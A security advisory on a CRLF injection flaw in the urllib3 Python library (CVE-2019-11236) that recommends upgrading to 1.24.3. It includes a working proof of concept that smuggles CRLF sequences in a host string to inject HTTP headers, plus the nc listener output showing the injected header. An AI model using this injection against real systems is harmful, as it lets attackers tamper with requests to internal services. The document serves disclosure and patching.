CRLF injection Affecting urllib3 package, versions [,1.24.3)
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Test your applications- Snyk ID SNYK-PYTHON-URLLIB3-174323
- published 18 Apr 2019
- disclosed 15 Apr 2019
- credit ragdoll
Introduced: 15 Apr 2019
CVE-2019-11236 Open this link in a new tabHow to fix?
Upgrade urllib3 to version 1.24.3 or higher.
Overview
urllib3 is a HTTP library with thread-safe connection pooling, file post, and more.
Affected versions of this package are vulnerable to CRLF injection. Attacker who has the control of the requesting address parameter, could manipulate an HTTP header and attack an internal service.
PoC
by ragdoll and Alvin Chang
import urllib3
pool_manager = urllib3.PoolManager()
host = "localhost:7777?a=1 HTTP/1.1\r\nX-injected: header\r\nTEST: 123"
url = "http://" + host + ":8080/test/?test=a"
try:
info = pool_manager.request('GET', url).info()
print(info)
except Exception:
pass
nc -l localhost 7777
GET /?a=1 HTTP/1.1
X-injected: header
TEST: 123:8080/test/?test=a HTTP/1.1
Host: localhost:7777
Accept-Encoding: identity
The nc server will display the HTTP request with a manipulated header content: X-injected:header, indicating a successful injection of the HTTP header.